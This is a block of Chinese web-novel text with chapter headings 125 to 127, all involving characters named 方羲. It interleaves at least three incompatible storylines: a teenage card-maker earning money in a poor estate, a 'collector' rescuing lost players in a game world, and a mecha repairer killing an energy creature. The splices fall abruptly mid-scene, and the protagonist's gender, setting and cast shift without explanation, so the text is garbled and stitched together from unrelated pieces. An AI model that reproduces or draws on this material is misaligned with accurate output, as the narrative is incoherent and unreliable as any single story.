殊不知他身旁的那些大少爷大小姐早就将他的那点神情变化尽收眼底。 不过他们并不在乎这件事就是了。 毕竟很多时候，运气好也是一种本事。 冯晋是凭本事救下的欧阳少爷，那他们就没有什么好看不起他的。 最主要的是，他们还想借着冯晋这层关系，攀上欧阳震华老先生这棵参天大树呢！ 所以他们反而跟着说道：“晋哥，看来不出意外的话，你就是我们这一届的首席了。” “我不行。” 冯晋故作谦虚道：“我的天赋值才多少，你们随便一个人站出来都能碾压我了。” 那些大少爷大小姐：“这有什么，欧阳震华老先生当年觉醒的时候，天赋值也才不到三十呢，但是现在还不是晋升到了2S级制卡师，甚至教出了两位3S级制卡师。” “就是，你有他老人家的亲手教导，相信过不了多久，就能超过我们了。” 听到这话，冯晋反而有些不高兴了。 因为他原本是想拜欧阳震华为师的，毕竟相比于救命恩人和苦主，弟子和师傅的关系显然更亲近。 而且这样一来，就算将来欧阳震华死了，他又还没有成长起来，光靠着欧阳震华的那些3S级和2S级弟子，就足以让他一辈子衣食无忧了。 可是欧阳震华显然是嫌弃他的资质太低，怕收了他之后，会坏了他的名声，所以直接以他的教学方式不适合他为由拒绝了他。 不过没关系。 反正欧阳震华已经答应过他会在启明星停留两年时间，他总会找到机会的。 毕竟他的孙子，那位欧阳少爷对他这个救命恩人可是亲近的很呢。 “好了，走吧。” 冯晋说。 哪知道就在这个时候，一个男声突然响了起来。 他说：“方羲，你看完了吗？看完了的话，我们直接去食堂吧，我想吃红烧肉了，我上次吃红烧肉还是去年呢……” 方羲—— 冯晋脚步一滞，然后瞳仁紧缩。 是他知道的那个方羲吗？ 社恐凭借某种雷达一般敏锐的直觉，意识到如果她再不跑路，接下来恐怕会发生一场毫无意义的寒暄，便找了个借口想要溜走。 不过方羲顿了顿，又看了一眼言丹青，忽然说：“真遗憾，我手上并没有催动齿轮运作的发条。有空的话，我会给你做一个的。” 丢下这么几句话，方羲便直接转身离开了，徒留两名首席玩家在风中恍恍惚惚。 言丹青茫然地问：“我刚刚听错了？” 许微澜深沉地说：“应该没听错……收藏家的意思是，要给你做个发条？一个武器还是什么？可是，她为什么要这么做？” “收藏家……她一向如此。” 虽然只是一次很短的打招呼，甚至连对话也说不上，但梨花雪的心情却莫名其妙好了很多，握紧手里的苹果糖，开心地说：“我们继续四处走走吧。” 许微澜看了看手中的苹果糖，又抢过言丹青那份，仔细数了一番，才丢了回去。感觉有点奇怪，为什么收藏家给他们的糖果数量，要比明明关系更近的梨花雪要多五个？ 言丹青没吭声，他心里也抱着同样的疑惑。 但二人对视一眼，忽然双双一愣，大脑闪过一道惊雷，瞬间明白了什么。 和初始灵感就具备八千的梨花雪相比……自然是经过常年积累、突破，也只有四千灵感的言丹青，不甘心退役、愿意被改造而继续前往高危战场的许微澜，还有团队中同样经过傀儡师改造的猎人们，更需要这个道具。 “原来如此。”言丹青嘀咕道，“难怪疯苹果总是说收藏家的状态不正常，她的悲悯心……感觉比传闻中的更夸张。” 第 125 章 第 125 章 “一千零一。” “怎么了？” “刚刚那个人类，身上有333号的灵魂碎片……”九百号嘀嘀咕咕道，“怎么回事？那不是一名新晋玩家吗？为什么这么早就得到了我们的灵魂碎片？” 电梯扫描到人体活动轨迹，自动为方羲开了门，半空中浮现出九十九个数字，但只有前十三个是明亮的白色，方羲轻触数字7，让它变成被点亮的金色。 “哦……我没跟你说吗？”方羲回答，“她好像来自一个邪.教组织，不是母胎孕育的生命，而是人造的。” 九百号忽然想到了什么，陷入深沉的思考，他的关注重点被方羲轻飘飘两句话带偏了。 “一千零一，我有一个非常严肃的问题！” 火焰在能量体头顶烧了起来。 蜥蜴头恼怒的仰头叫了一声，转身看见那个铁疙瘩又回来了，竖瞳终于有些怒火。 能量体转身朝着方羲扑过去，挥起的手掌像五指山一样落下，被方羲敏捷的闪躲开。 机甲推动装置被她打开到最大，身影快的如同流星一样。 周围的风卷呼啸着，地上沙石和灰尘满天弥漫，巨石被席卷起来，朝着方羲的方向甩过来。 能量体低声呜呜唤着。 空气流动的速度开始变化。 时快时慢的流动阻碍了方羲的闪躲。 她的高敏捷移动被缓慢的风交缠，速度顿时慢下来。 周围被龙卷风带起来的碎石从她身边擦过，如果不是方羲及时躲闪，很可能被带着砸出去。 黏腻的风像沼泽一样，缠得越发精密。 她的速度越来越缓，甚至于无法快速变动位置。 方羲有些烦了。 她抽出光剑，在迎面而来的风卷包裹时，主动撞入其中，立刻加强推动装置，快速切开风团，从纠缠的风沼中脱身。 闪身而出的方羲旋着光剑，如同炮火流星，朝着蜥蜴头的位置坠落下来。 她手腕紧握着光剑，在落下的同时，狠狠的插在能量体脊背。 “吼——” 光剑整根没入，能量体感受到，痛苦的嘶吼着，同时疯狂摆动着身体，试图将她甩下来。 方羲握着光剑，手背青筋暴出。 用力拉出，一路朝后飞快移动。 光剑在能量体背上迅速划动。 剑锋和鳞甲摩擦，闪烁着火光，光剑的能量外溢在伤口，被巨力带出一道火花一样的尾迹。 伤痕竖切，纵贯能量体的整个脊背，一米多深，很快激得能量体发疯般的吼叫。 再生的技能覆盖，伤口肉眼可见愈合，裂开的鳞甲逐渐合拢，方羲从能量体的尾部跳下。 能量体被蝼蚁一通乱耍，似乎恼怒了，接连不断的怒吼。 伴随着它的吼声同时出现的，还有地面上席卷的越来越高的龙卷风团。 她的脚下突然刺出一道风刃，机甲推动装置马上推着她从地上一跃而起，躲开旋转而出的风刃。 周围的风团逐渐融合汇聚，变得越来越高。 乱石和草木被一起卷起。 风团之间凝聚着许多的风刃，间断汇聚，不断移动，朝周围四散飞出。 无差别打击目标。 方羲试图用义眼扫描能量体身上的信息。 她的义眼镜栓安装有检测程序，也许能够通过愈合伤口处的能量波动，找到最汇聚能量的晶的位置。 而在未曾注意到的地方。 她的短发末梢微微向前延伸，发色变得越来越浓郁，甚至隐隐透出一些绿光，尾端卷翘，冒出的却不是新生的发丝，而是类似于植物枝蔓一样的翠芽。 她头顶生出一根绿色的小芽，叶片还在伸展着。 细小且嫩生生的叶片，甚至不及手指甲那么大，随着她闪躲的动作颤巍巍的，连虚拟的形状都保持不住。 风刃巡着方羲的位置，接二连三，疯狂的刺过来，在她灵活的跳开后又瞬间消散在空中，转而形成新的风刃，继续进攻。 机甲快速移动着，巨大的龙卷风团四面游走。 边缘锋利的风刃轻而易举击碎巨石，碎石随着风璇一路向上，高速旋转，地面到半空笼罩着一层灰尘。 派森先生从这种动静中，试图找到方羲的位置。 可视线所到，都被满天灰尘掩盖，只能看到机甲上的蓝色光源在半空疾速移动，划出一道道荧光线条。 方羲身体敏捷的动作同时，突然从身体深处漫溢出一股奇异的力量。 像是涓涓细流缓缓流过全身。 冰凉的水温很快驱散内心的焦躁。 大脑变得越来越清明，原本飞快疾闪的场景被一帧帧慢放。 而于此同时，透过左眼绿色的瞳孔，原本黑漆漆的厚实的鳞甲，渐渐变得透明，近似于虚无。 能量体坚硬的表皮像轻薄的纸。 一眼穿透，下层的骨架上攀爬着各种血管，鲜红的水流流向全身，淡红的水流从四肢百骸聚集在同一个位置。 这场景只短暂的停留了一两秒。 她眼睛一眨，面前便又是漆黑的鳞甲，和狰狞嘶吼的能量体。 方羲从目光中吸收着信息，围在她四周的龙卷风就在此时，猛的朝中央汇聚，将身形短暂停留的机甲包围。 “哐！” 四周的风卷撞击融合。 方羲被边缘风刃划伤，剧痛令她惊醒。 她的目光锁定在能量体身上的一个位置。 风卷将她拉入中央，开始随着龙卷风融合和移动，剧烈的旋转起来。 两个风团融合时，风刃交错，像砸开的玻璃碎片割裂皮肤。 数不清的风刃从机甲身上划开。 基础机甲宛如纸皮一样，被戳出许多的切口。 风压将她整个人翻滚过来，翻滚过去。 大脑在高速旋转中昏昏沉沉，几乎无法思考。 方羲被龙卷风带着高速转动，耳边还能听见能量体的低吼。似乎在表达自己处理了讨人厌的铁疙瘩后的愉悦。 她忍耐着被旋风带动旋转的不适，就在看见能量体仰头，似乎要控制风璇的时候，方羲咻地睁开了眼。 机械义眼闪过一丝冰冷的流光。 外骨骼在此刻将推动拉到最大，能量炮被方羲卸下拿在手里。 就在推动装置完全启动的那一秒。 方羲的身体以一种极其刁钻的姿势，借着风旋转动带来的巨大向心力切面，从龙卷风的风眼中猛地一头钻出来。 巨大的风压透过机械骨骼的表面，将她的脸颊挤压的变形，眼压在这一刻飙高，红血丝攀爬在眼眶中，包裹着绿松石一样的瞳孔。 全身的肌肉力量爆发，巨大的拉力和外骨骼的强大推动抵抗着向心力的作用。 然后沿着切线方向，将她一举甩出去。 巨大力量转化成为极高的初速度，使方羲如同一颗坠落的陨石，飞快的靠近着能量体。 就在能量体仰头的一瞬间，方羲顷刻间移动到它面前的位置，能量炮被她握在手上，在接触到能量体表面的刹那。 她高举能量炮，推动能源。 “嘭——” 炙热的高温和强大的后坐力让方羲的手臂不停颤抖着。 机甲停在蜥蜴头的面前，比起山峰一样庞大的蜥蜴头，显得格外渺小。 她手上抬着的能量炮发射出炽烈高温的炮弹，切开坚硬的黑鳞。 血腥和硝烟炙烤的气味混合。 火光和鲜血飞溅。 这一幕被渲染的意外惊心动魄。 派森先生在方羲被卷入龙卷风时，就握紧了手掌，为她深深捏了一把汗。 他几乎，几乎就要以为这个大胆的维修师要死在里面了。 高风压的挤压和风刃的包围，能够在短短几秒中，撕碎一个人的身躯，而后将坚硬的机甲变成碎片更不要说这种最低档次的基础机甲。 但，就在方羲撕开风旋闪身而出的这一刻，派森先生真正的感到不可思议。 ——她出来了。 从一个风属性的能量风暴中脱身。 仅仅只依靠基础机甲。 “天哪……” 派森先生眼睛倒映出面前的一幕，瞳孔紧缩着，撑在地面的手掌也在颤抖，壮硕的男人震惊到有些失声。 能量炮的火焰冲击开鳞甲，进入蜥蜴头的皮肉。 从炮口溢出的火花沿着能量体的轮廓扩散开，像瞬间展开的扇面。 烈火顺着炮筒一直烧到伤口外，在能量体身上开出一个如同火山口的小洞，迸射出剧烈的火花。 犹如火山爆发一般。 驾驶外骨骼的身影冷静的站在火山口。 能量体吃痛剧烈嘶吼，仰长脖子试图和方羲拉开距离。 能量炮被能量体挣扎着甩开，被轰击出的伤口出开始流出掺杂着火焰的液体。 炮筒移开，伤口暴露，一股极其浓郁的力量从皮肉深层袭来。 方羲抓住机会，在能量体持续嘶吼，不停挣扎的同时，她迅速切换武器，抽出光剑。 光剑有数米，方羲手握光剑，狠狠插入伤口中，光剑末端没入。 “嚓——” “轰！” 能量体突然好像进入了狂暴状态，开始疯狂摆动着身体。 尾巴在地面上撞击，砰！砰！声不住响起。 派森先生睁大眼看着这一幕，还要躲避着被巨尾拍打地面击飞的碎石。 他内心的澎湃热血还未曾停息。 面前，机甲单兵握着光剑，随着能量体的翻滚和挣扎而吊在半空，被甩来甩去。 周围的风靠近她，凝聚成风刃，风刺，各种武器，甚至挤压着她呼吸的空气。 但，她的手丝毫没有松懈，并且随着能量体每一次晃动，都被她借力将光剑往里推。 “你这样的怪物”，方羲咬着牙，尽可能大口呼吸着气流，和周围的风团抢夺着空气，同时看着气急败坏的狰狞能量体，握着光剑朝更里用力，眼神平淡，语气不屑：“我杀的比你族谱都多！” 区区能量体。 “讨人厌的东西。” 毁了我的维修店还想活？ 想都别想！ 说着，她眼神无比狠厉的一抬，将光剑继续穿透它的表皮，刺入深处。 “吼吼——” 能量体发出怒吼，位于脖颈下方的伤口让它感觉到自己的能量晶暴露，生命遭遇了危机。 这一刻，它再也不敢小看面前的铁疙瘩，周围的流动的、沉寂的风，全部朝着方羲的位置涌来。 她身后逐渐凝聚起了一个白色巨大的风锥，钝圆的尖端疯狂的撞击搅动，想要将她从光剑上撞下去。 风刃切开她的皮肤，方羲能感觉到躯体上裂开无数的伤口，四肢百骸都有细微的痛感。 疼痛让她的神经更加清醒，她借助风锥产生的巨大冲击力，将光剑再度向更深层刺入。 能量体后知后觉的察觉到自己弄巧成拙，更加恼怒的将脖颈，朝着周围的山岩撞过去。 此举却更加方便了方羲。 在能量体即将靠近山岩的时候，她提前转动身体，脚尖沉重的踩踏在岩壁上，然后双手握着光剑，手肘在此刻爆发出强大的力量。 方羲左眼散发出一阵温润的绿光。 周围的风在那一刻突然停滞下来。 被能量体激起飞溅的碎石静止在半空。 派森先生瞪大眼，激动的手握成拳放在胸前，紧张的神情停在脸上。 ——能量场的时间在这一刻全部静止。 在无人注意的角落。 杂草从黑色土地冒出幼嫩的芽，然后一路疯长。树枝的枝桠不断延伸，黑色泥土中开出一朵朵形状诡异的花。 奇异的香气迅速蔓延。 方羲并未注意到这一切，在静止的几息时间中，她脚踏在山峰岩壁上，狠狠一脚踩在上面。 借力将手中光剑尽数送入，光剑的拟态剑锋穿透厚实的皮肉，和骨骼发出沉闷的摩擦割锯声。 然后—— “咔……” 清脆的穿透声响起。 光剑剑锋迅速形成一个爪形捕捉器，锁定住一块极其细小的晶体。 如果有人能够看到，晶体的中央被剑锋擦出一道白色的不明显的痕迹。 但有一股翠绿的力量，顺着剑锋，透过晶体外表坚硬的表面，将内里灰褐的能量团震碎。 裂缝遍布。 在黑天鹅的所知范围中，收藏家制作过数量高达上百，形态为“白色乌鸦”的微型傀儡。 但事实上，不仅于此。 无数五颜六色的小鸟，在真实玩家恍惚、惊艳的注视下，脱离长廊的桎梏，穿过无形无色的玻璃窗，飞向大楼之外，更广阔的浮空岛。 而原先驻守在竞技场上，负责指挥训练的密匙玩家，也惊讶地抬起头，发现上空出现了一群色彩鲜艳的重影。 “387。” 先行者抬手逗了逗不肯离去的彩色鹦鹉，然后才看向台下观众，脸上扯出一抹偏执的微笑，仿佛呓语一般地喃喃重复道：“嗯……387，这个数字实在太少了。希望下一次，傀儡们可以带回来数量更多，迷失在异端腹部之内，叫嚣着痛苦却无法解脱的灵魂。” “但是，我也很想小小地庆幸一番。因为寻找的结果不是0，而是387。” “诸位，你们现在听见同伴不甘死去的喘息了吗？” 第 126 章 第 126 章 第七层开启了轰轰烈烈且极为忙碌的一天。 很多真实玩家从原工作岗位，被召唤了过来，负责照顾这些迷失归来的重伤同伴。 虽然说是重伤，但也不甚准确，因为所有迷失玩家，他们身上最关键致命的创伤已经被收藏家拔除，只需要面对接下来漫长的康复期。 方羲坐在一张空病床上，无聊地逗着叽叽喳喳的小肥啾，观看着玩家们来来去去的忙碌身影，压根不上手帮忙，并且毫不心虚，主打一个理直气壮。 “收藏家。” 方羲转过头，发现是一名不认识的陌生玩家在叫她。 傀儡师的眼部缠着绷带，隐约透出几分血红，脸色也很苍白虚弱，面部表情很淡，反而显露出一种身经百战的坚毅感，身边也并没有专门照顾她的造梦家队友，似乎是独自前来。 “我是一名首席傀儡师，江同尘。”她的声音听上去非常冷漠，音调没有丝毫起伏，只是礼貌地伸出手，“半小时前，我收到了任务通知，接下来一段时间，我将和徐千秋共同负责治疗这一您拯救回来的迷失玩家。” 徐千秋耳聪目明，立刻探出了个脑袋，大喜过望：“太好了！江队，你们居然舍得多派了个人来帮忙！真是好消息啊！刚刚收藏家告诉我的治疗配方，我根本听不懂，还是得有你们傀儡师来办才是最好的！” 九百号闻言，忍不住抽了抽嘴角。 从福晟修理店出来之后，方羲又去了一趟卡牌超市，用身上剩下的一千多星币买了一些空白卡牌。 回到家之后，他就开始了紧锣密鼓的制作。 第二天一大早，那些在群里预定了卡牌的客户就纷纷找上了门来。 收钱，交卡。 几分钟后，就有客户在群里面进行了反馈。 “小羲制作的卡牌的质量果然很好，比米家出售的卡牌的质量还要好，米家的水卡最多出十八升水，但是我刚才使用小羲制作的水卡，竟然出了十八点三升的水。” “我买回来的也是，出了十八点二升的水。” ……“方羲的品行这么恶劣？” 校长的眉头皱了起来。 他们还是很看重学生的品行的。 毕竟万一他们把学生培养出来之后，学生却恩将仇报，那未免也太可笑了。 而且欧阳震华老先生的风评一向不错，教出来的学生也都青出于蓝，所以他很有可能也是个眼睛里揉不得沙子的，他们要是把一个品行不端的学生介绍到他面前去，那就不是拉近关系，而是结仇了。 校长：“那这件事情就到此为止吧！” 可惜了。 他还以为他们启明星终于又要出一个牧家老祖宗了。 秦老师却不甘心，他说：“校长，只凭冯同学的几句话就断定方羲是个品行不端的人，是不是有点武断了，万一这里面有什么误会呢？” “也是。” 校长又迟疑了。 秦老师：“我现在就找个人去把这件事情调查清楚……不，我亲自去。” 于是当天下午，秦老师就找到了谷大姨租住的廉租小区。 他随便挑了一户人家作为访问对象。 然后他就听见那个老婆子说道：“方羲？你问他干什么？那个小兔崽子可不是什么好东西？” 所以这个老婆子可不正是赵老婆子。 “只要小羲能一直保持这个质量，我家的卡牌以后就都从小羲你这里买了。” “小羲，我可以预定十张吗，一个星期之后要，那天我妈生日，正好给她带过去。” “那我也订五张。” …… “不愧是小羲，刚刚觉醒就能制作卡牌了，而且质量比E级制卡师制作的卡牌还要好，我敢说，咱们启明星这两千多年来觉醒的能力者里，天赋能超过小羲的，绝对不会超过三位数。” …… 后面的就都是一些夸赞方羲的话了。 方羲忍不住露出了一丝笑容。 这个开局虽然不太完美，但结果他很喜欢。 谷大姨比他更高兴。 她觉得这不仅仅是方羲正式踏进能力者阶层的第一步，更是谷家翻身的曙光。 她说：“这样的大喜事，怎么能不好好庆祝一下呢。” “我去买张小麦卡，我们今天晚上吃咸肉豆渣饼。” 家里的那块咸肉还是去年过年的时候她们学校发的福利，拢共也就巴掌大小一块，去年过年的时候吃了一半，剩下的一半本来是打算留到今年过年的时候再吃的，但是现在谷大姨也顾不上那么多了。 方羲却说：“不用。” “等我一个小时，我去卡牌协会官网买一份小麦卡的制作图纸，自己画。” 谷大姨等人：“……” 一个小时之后，方羲带着两斤小麦和四个鸡蛋从房间里走了出来。 谷大姨等人：“……” 他们的目光不约而同的落在了方羲手里的那四个鸡蛋上。 方羲解释道：“我觉得面饼里面加上鸡蛋可能会更好吃一点，所以就试着又买了一份鸡蛋卡的制作图纸。” 于是半个小时后，四人一人捧着一块新鲜出锅鲜肉鸡蛋豆渣饼，齐齐蹲坐在屋檐下，大口吃了起来。 谷池：“嘶嘶，这也太好吃了吧。” 谷燕咬了一口饼子。 的确很好吃，比她们以前吃过的任何东西都要好吃。 方羲也觉得很不错。 虽然因为谷大姨没怎么做过饭的缘故，做的有点咸了。 但是在这个世界，能有这么一块饼子吃，已经超过百分之九十的人了。 谁能想到呢。 前几天他们还在为房租又涨了一百星币而发愁，今天他们就吃上了热乎乎的面饼，里面甚至还加了咸肉和鸡蛋。 最主要的是，方羲的天赋显然比他们以为的还要好上一倍不止。 至少他们还没有在现实中遇到只用一个小时就学会制作两种F级卡牌的能力者。 想到这里，谷大姨腾地一下站了起来，往外走去。 谷燕：“……” 她心里突然升起一股不好的念头。 果不其然，下一秒就听见旁边的谷池说道：“啊，她又去赵老婆子家了。” 谷燕：“……” 你不是说你的心眼没那么小的吗？你现在又是在干什么？ 不知道为什么，她竟然有点心疼赵老婆子了。 就是在这样的热闹之中，第一中学开学了。 谷大姨专门请了一天假，送方羲去第一中学报到。 谷大姨：“我都已经打听好了，你们这一届一共一千五百多个学生，有九百个制卡师，分做二十个班，其中一班是重点班，其他的都是普通班，按照往年的惯例，第一中学会把绝大多数师资都放在重点班上。” “今天下午，你们有一场分班考试，因为你们才刚刚觉醒，所以考试成绩主要是以天赋值为主，分班结果晚上就会出来。” “不过你不用担心，你才刚刚觉醒，就能制作F级卡牌了，只要你能在考试的时候，把你会制作的那几种卡牌全都制作出来，那你进入重点班就是板上钉钉的事情，说不定你还会是你们这一届的制卡师首席呢。” 果不其然，当天晚上，方羲就收到了第一中学发来的邮件。 他打开一看。“出于对冯晋同学的感谢，加上欧阳震华老先生本人也很喜欢启明星的环境，于是他决定在启明星停留一段时间，并出任第一中学制卡一班的老师，直到冯晋从第一中学毕业……” “……听到这个消息之后，第十星系包括隔壁第九星系的几个星球的很多家族和豪门都将自己家中的适龄子弟塞进了启明星第一中学。” “原来是这样。”见过一班班主任，冯晋就找了个借口，撇开那些大少爷大小姐，直接回了自己的宿舍。 和其他学生住的都是像鸽笼一样的学生宿舍不一样的是，他们住的是学校特地为他们腾出来的教师宿舍。 单人间，不仅有阳台，还有厨房和客厅。 但是冯晋却顾不上欣赏这一景色，他第一时间打开了第一中学的官网，找到了新生名册。 半分钟后，他一脸铁青的放下光脑。 那人还真就是方羲。 他的天赋值不是只有十九吗？ 他现在不是应该正待在那个破廉租房里无能狂怒吗？ 他为什么会出现在第一中学？ 下一秒，冯晋就猜到了事情的来龙去脉。 一定是方羲的大姨给他弄到了一支觉醒药剂，让他顺利觉醒成为了能力者。 凭什么？ 谷大姨皱紧的眉头松开不少。 事实上，只要身体和心理素质达标，人类随时都可以通过服用觉醒药剂成为能力者。 而普通中学的学生之所以会被安排到十八岁时统一测量天赋值，统一服用觉醒药剂，只不过是因为他们在生长期很难获得足够多的能量，基本上都要等到十八岁的时候，身体和心理素质才能达标。 而那些大家族和豪门最不缺的就是钱，他们家中的子弟从小接受的就是最优质的教育，普通人一年半载也不一定能够吃上一回的自然食材，在他们那里不过是家常便饭，所以他们中的很多人，可能上小学的时候就觉醒了。 再加上那些大家族和豪门不遗余力的培养，别说是F级卡牌了，很多人甚至都已经突破到C级制卡师了。 也就是说，方羲这一次会落到二班下游去是再正常不过的事情。 但这并不重要，重要的是，在第一中学校长的请求下，欧阳震华老先生答应，在他给重点班上课的时候，校方可以在旁边进行直播，让第一中学其他制卡班的学生也能接受到他的教导。 谷大姨瞬间喜笑颜开：“那可是2S级制卡师的教导啊，咱们这回不仅没亏，反而赚了，血赚！” 方羲也第一时间打开官网去搜索了一下这位欧阳震华老先生的资料，在发现他名下不仅有五百多个卡牌专利，而且门下的弟子几乎都晋升到了A级制卡师，甚至有两个晋升到了3S级制卡师之后，他也忍不住说道：“真不错。” 谷池第一时间凑了过来：“……制卡二班，学号41……” 谷大姨：“……” 方羲：“……” 方羲不仅没有进入一班，甚至只能在二班排到四十一号。 谷大姨不能接受这一结果：“这怎么可能？” 而也就在这个时候，谷燕大喊着冲了进来：“我拿到牧氏的录用信了。” “年薪十四万，七险一金，双休。” 多亏了方羲的那双运动鞋，她当初才没有选择将就，而是选择继续找工作。 谁能想到呢，牧氏会突然加大对启明星的投资，并且一口气扩招两百多人，其中有二十多个是应届生岗位。 因为招聘季已经过去了，绝大多数应届毕业生都已经找到了合适的工作，这也就导致她的对手直接就少了一大半。 再加上她的履历本来就非常漂亮，所以她最终以第二名的好成绩，顺利被牧氏录用了。 她忍不住再次大声欢呼：“这可真是太好了。” 毕竟牧氏可是星际联盟赫赫有名的大集团啊，她的未来已经是可以预见的一片光明了。 然后她就发现谷大姨他们的神情好像有点不太对。 “……怎么了？” 谷池便小声把方羲没能进入第一中学重点班的事情说了一遍。 谷燕：“……” 她仔细回想了一下她刚才的一系列举动，好像不是一般的得意。 然后她脸上的笑容直接就僵住了。 她和方羲好不容易修复了的那点的塑料姐弟情，危！ 好在很快，他们就知道了事情的来龙去脉。 接话的永远是话唠宋白玉，他脸上明晃晃挂着几个【收藏家你终于又出现了】的几个大字，笑着说：“是啊是啊！我们有个难题想找你问问！等等……你脸色好像不太好，怎么了？” 三人立刻发现，收藏家右手里还拿着一把染血的雕刻刀。 空气中也弥漫着隐晦的血味。 方羲不高兴地撇了撇嘴，从病房走了出来，让这三个人看清里面的情形。 “你们叫人把她治下伤，再来找我。”方羲低声抱怨道，“意志不清的傀儡师真麻烦啊，她刚刚是想操控我的身体吗？” 秦淮月发现受伤者是她曾经的队长江同尘，明显地愣了一下。 林镜子立刻上前给受伤的傀儡师治疗。 宋白玉看了一眼，原本也想去查看情况，但他发现方羲直接头也不回地离开了，于是走路的方向硬生生一拐，跟上方羲。 “这……刚刚是怎么了？”宋白玉观察着方羲的神色，小心翼翼地问道。 “没什么。”方羲呵呵两声，胡扯道，“我刚刚心情不太好，没地方发泄，就忍不住捅了一刀。不过我没有捅致命处，不用担心。” 宋白玉：“……(゜ロ゜) ？！” 第 127 章 第 127 章 “江队她的确有时候会犯病，我以前也遇到过几次。不过她一般是朝固定队友发火，我当时算是个拉架的旁观者……”宋白玉观察着方羲依然不太高兴的神色，“收藏家，我好像第一次见你情绪这么不好，看来肯定是她的错！” 方羲眼神诡异地瞥了他一眼。 因为宋白玉的语气、声音和神态表情，相当理所当然，也没有再追问二人刚刚具体发生了什么，就这么笃定地选择了她的一边。 这是安慰的一种方式吗？ 宋白玉笑道：“如果你还心情不好，不如把我当个沙包如何？我自认为，我还算是耐揍的，绝对能够撑到你发泄完情绪的时候！” “这倒不用。”方羲勉强接受了这种真诚得有点过分的安慰，想了想又说，“我没有这种恶趣味。” 一千零二忽然哗啦啦翻了翻页，看到某个十岁小孩可能是出于无聊，逮住一只初级汉字考试分数为零，并且时不时半夜拜访、挥舞着触手把所有家具撕了个粉碎的异端。 那声音，别说是她身后的赵家了，就算是街尾的人家，都能听到。 谷燕：“……” 突然就不怎么怨恨她妈了。 跟她妈现在所表现出来的战斗力相比，以前她妈挑她刺的时候的那点小雷小雨，根本就不算什么。 但问题是，她妈这么做，虽然报了赵老婆子的一箭之仇，但也肯定会给小区里的其他人留下一个小人得志就猖狂的印象。 到时候他们一家还怎么在这里继续生活下去呀。 谷燕顿时就坐不住了。 所以等到谷大姨终于消停下来，回到家的时候，她就迫不及待道：“妈，我觉得我们还是低调一点比较好……” 听到这里，谷大姨就已经知道她想说的是什么了。 她说：“你知道什么？” “你以为我这么做，只是为了报复赵老婆子吗？” 谷燕：“……” 难道不是吗？ 谷大姨：“我的心眼可没这么小。” “你想想，我这么一闹之后，是不是整个小区都会知道小羲觉醒成为了制卡师，而且已经会制作F级卡牌了。” 说着，她转头看向方羲：“刚才我回来的时候，赵阿姨他们都在问我，你准不准备对外出售卡牌。” 方羲明白了：“当然了。” “麻烦你告诉他们，我制作的卡牌可以保证都是合格品，如果出现瑕疵品，我会全额退款，而且售价按照种类比外面的卡牌超市里售卖的卡牌低五到十星币。” 以F级黄豆卡为例，通常情况下，能够成型的F级黄豆卡的产量都在八两以上，但是根据星际联盟卡牌协会的规定，能够变换出一斤以上黄豆的F级黄豆卡属于合格品，低于一斤的属于瑕疵品。 大多数成熟的制卡师都能将合格率控制在百分之九十以上。 制卡师可以选择将自己制作的卡牌直接卖给卡牌超市，但是卡牌超市只收取合格的卡牌。 以合格的F级水卡为例，制卡师卖给卡牌超市的价格是一百一十五星币，卡牌超市的售价是一百三十星币。 但是绝大多数以制作低级卡牌为生的制卡师都会选择直接将卡牌出售给买家，因为这样一来，每张卡牌他们至少能多赚五星币。 五星币也不少了。 两个五星币就能买上一支普通营养液，足够满足一个人一天的能量需求了。 在这之前，她们这个小区里的卡牌生意都被河对面的富人区里的米家垄断了。 米家有两个E级制卡师。 和其他制卡师一样，他们出售卡牌的时候，偶尔会将合格品和瑕疵品掺在一起对外出售，买家如果买到瑕疵品，只能自认倒霉。 方羲既然也想在小区里销售卡牌，就得跟他们争夺市场。 但是方羲只是一个刚刚觉醒没多久的学生，绝大多数人肯定都会认为他作为一个新手，制作的卡牌的合格率不可能超过米家的那两个E级制卡师，所以不会选择去他那里购买卡牌。 因而谷大姨这么做，分明是为了把方羲觉醒成了制卡师，而且天赋绝佳的消息宣扬出去。 这样一来，小区里的人对他的怀疑肯定会降低不少。 现在方羲又承诺他出售的卡牌全都是合格品，小区里的人肯定会试着来购买方羲的卡牌，等到他们用过方羲制作的卡牌，发现质量的确很好，自然而然的，他们就会成为方羲的客人了。 谷大姨：“行，那我现在就把这个消息告诉他们。” 谷燕：“……” 想想也知道，小区里的人在方羲这里得到了便宜之后，亲近方羲还来不及呢，又怎么会在乎谷大姨的这点小毛病呢。 是她太单纯了。 这一波，她在楼顶，谷大姨和方羲在大气层。 尴尬之余，谷燕不由松了一口气。 也正因为如此，她的注意力终于重新回到了手里方羲给她的那四张水卡上。 所以这份零花钱她要收下吗？ 先不说她比方羲大了四岁，她还从来没有听说过有弟弟给姐姐零花钱的。 最主要的是，她和方羲的关系好像也没有多好…… 但是从方羲这几天的所作所为来看，他应该是想要跟她们修复关系吧？ 所以她如果拒绝他的好意的话，是不是不太好。 毕竟有个会在她心情低落的时候安慰她的弟弟，真的很不错。 思来想去，谷燕最终还是决定先收下这些水卡。 因为她突然又想到，虽然方羲现在看起来已经变好了，但是也不能保证，他以后不会故态复萌。 有了这些水卡，她妈也能多一层保障。 虽然这样揣测方羲，好像很不好。 不过为了以防万一，心眼小一点好像也没什么。 谷大姨这边，她很快就帮方羲招揽到了五十多个客人。 五十多个客人就是五十多户人家，以一家四口为例，一个月差不多需要十张F级水卡。 据她所知，一个F级能力者，一个月起早贪黑，最多也就是制作两千张F级水卡。 方羲当前的主要任务是上学，估计一个月最多也就是画个四百张水卡，差不多可以满足这么多客人的需要。 所以对于这个结果，谷大姨很满意。 ——没办法，如果方羲的资质很一般的话，凭她的能力，多找几个银行借点钱，勉强是供得起他的。 但谁能想到方羲的资质竟然这么高，那他将来的开销恐怕会是个天文数字。 毕竟星际联盟除了少数卡牌的图纸是免费的之外，绝大多数都是要收费的。 F级卡牌的图纸还算便宜，只要五百星币一份，可是E级卡牌的图纸的价格就到了六千星币，D级卡牌的图纸的价格更是高达八万星币，更高等级的就更不用说了。 她肯定是拿不出这么多钱来的。 所以现在只能靠方羲自己了。 好在方羲一如既往的贴心，能够体谅到她的难处，也已经做好了兼职赚钱给她减轻负担的准备了。 方羲对于这个结果也很满意。 只不过他想的是，等到这五十多个客人用过他制作的卡牌之后，肯定会把他介绍给他的亲朋好友。 他们应该能给他再带来四五十个客户。 这才是他的目标数量。 没错。 谷大姨还是太小看他了。 他昨天已经做过测试了。 他只需要十五分钟的冥想时间，就能将精神海填满。 每次冥想，大概能够制作五张F级卡牌。 每制作一张F级卡牌，需要一分钟的时间。 也就是说，基本上每二十分钟，他就能制作五张F级卡牌。 一天工作八小时就是一百二十张。 